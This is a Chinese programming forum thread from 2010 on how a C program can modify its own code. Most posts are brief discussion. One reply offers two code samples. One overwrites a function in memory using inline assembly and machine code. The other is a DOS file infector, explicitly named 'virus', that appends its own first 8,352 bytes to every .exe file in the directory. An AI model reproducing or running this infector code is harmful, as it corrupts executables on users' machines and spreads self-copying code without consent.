| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 953 人关注过本帖
标题:菜鸟请教一个弱智问题。。。。。
只看楼主 加入收藏
zzgzzg00
Rank: 7Rank: 7Rank: 7
等 级:黑侠
威 望:2
帖 子:388
专家分:627
注 册:2010-8-2
收藏
得分:0 
  怎么做啊?

粗心是大敌
2010-11-10 19:49
vandychan
Rank: 15Rank: 15Rank: 15Rank: 15Rank: 15
等 级:贵宾
威 望:18
帖 子:2296
专家分:6418
注 册:2010-8-20
收藏
得分:0 
拒绝混分

到底是“出来混迟早要还”还是“杀人放火金腰带”?
2010-11-10 19:53
zghnxzdcx
Rank: 9Rank: 9Rank: 9
等 级:蜘蛛侠
威 望:4
帖 子:550
专家分:1176
注 册:2010-4-6
收藏
得分:0 
回复 11楼 zzgzzg00
楼主提到了调用外部文件完成,说明他已经掌握了文件操作,详细的你问他。

你永远不可能战胜一个纯傻子,因为他会把你的智商拉到和他同一个水平,然后用他的丰富经验打败你。
2010-11-10 19:54
vandychan
Rank: 15Rank: 15Rank: 15Rank: 15Rank: 15
等 级:贵宾
威 望:18
帖 子:2296
专家分:6418
注 册:2010-8-20
收藏
得分:0 
但是我觉得掉用外部文件耗时化空间

到底是“出来混迟早要还”还是“杀人放火金腰带”?
2010-11-10 19:55
zghnxzdcx
Rank: 9Rank: 9Rank: 9
等 级:蜘蛛侠
威 望:4
帖 子:550
专家分:1176
注 册:2010-4-6
收藏
得分:0 
回复 14楼 vandychan
不用调用外部文件,写一个程序直接操作它自身。程序编译完成后,关闭编译器,直接到目录中去找那个编译好的文件,我在8楼的回复你看到了没有。

你永远不可能战胜一个纯傻子,因为他会把你的智商拉到和他同一个水平,然后用他的丰富经验打败你。
2010-11-10 20:00
zghnxzdcx
Rank: 9Rank: 9Rank: 9
等 级:蜘蛛侠
威 望:4
帖 子:550
专家分:1176
注 册:2010-4-6
收藏
得分:0 
看错了,是9楼的

你永远不可能战胜一个纯傻子,因为他会把你的智商拉到和他同一个水平,然后用他的丰富经验打败你。
2010-11-10 20:01
vandychan
Rank: 15Rank: 15Rank: 15Rank: 15Rank: 15
等 级:贵宾
威 望:18
帖 子:2296
专家分:6418
注 册:2010-8-20
收藏
得分:0 
很绕 我先理顺下思路

到底是“出来混迟早要还”还是“杀人放火金腰带”?
2010-11-10 20:02
zghnxzdcx
Rank: 9Rank: 9Rank: 9
等 级:蜘蛛侠
威 望:4
帖 子:550
专家分:1176
注 册:2010-4-6
收藏
得分:0 
简而言之,在操作系统中直接启动chengxu.exe可以修改chengxu.c(chengxu.exe由编译器编译chengxu.c生成,但不能通过编译器调用)。

你永远不可能战胜一个纯傻子,因为他会把你的智商拉到和他同一个水平,然后用他的丰富经验打败你。
2010-11-10 20:36
xiaomarn
Rank: 11Rank: 11Rank: 11Rank: 11
等 级:小飞侠
威 望:5
帖 子:348
专家分:2026
注 册:2009-3-18
收藏
得分:20 
程序代码:
#include<stdio.h>
#include<string.h>
#include<mem.h>

typedef void (*StackFn)(void);

void print(void);

int main()
{
      char a[]={186,169 ,1,187,1,0,180,64,185,12,0,205,33,180,1,205,33,180,76,205,33}; /*打印“hello wrold”的机器码*/

      char s[]="hello world!";
      StackFn pf1;
      char *ptr;
      int i;

      print();    /*未修改之前,print执行原来代码*/
      pf1=print;
      ptr=a;
      asm push ds            /*将a数组内容复制到print函数处,覆盖其代码,使其打印"hello world"*/
      asm mov es,[bp-4]        /*准备用指针实现复制的,但是由于是远指针,功力有限,没有实现*/
      asm mov di,[bp-6]
      asm mov cx,28
      asm push ss
      asm pop ds
      asm mov si,[bp-2]
      asm rep movsb
      asm pop ds
      print();            /*修改后的print函数,内容已改变*/
      return 0;
}

void print(void)
{
      printf("I'am in func print\n");
}

用的是自己修改自己内存中代码的方法实现修改自己的方法
由于功力有限,只能用汇编实现
要用C实现的话,求求东海大仙吧!
下面是修改磁盘中自身文件的方法
不想多打字了,用个以前写的凑下数
#include<stdio.h>
#include<dir.h>
#include<dos.h>

int main()
{
    FILE *virus,*host;
    char buffer[256];
    int done,x;
    struct ffblk fb;
    done=findfirst("*.exe",&fb,0);
    while(!done)
    {
        virus=fopen(_argv[0],"rb");
        host=fopen(fb.ff_name,"ab");
        x=8352;
        while(x>256)
        {
            fread(buffer,256,1,virus);
            fwrite(buffer,256,1,host);
            x-=256;
        }
        fread(buffer,x,1,virus);
        fwrite(buffer,x,1,host);
        fcloseall();
        done=findnext(&fb);
    }
    return 0;
}
原理就是搜索满足要求的文件,再修改
期待东海大仙
2010-11-11 17:55
DAVID2008200
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2010-11-11
收藏
得分:0 
我们一起学习、很想学好C语言。  此刻、我只有沉默、
2010-11-11 20:35
快速回复:菜鸟请教一个弱智问题。。。。。
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.014232 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved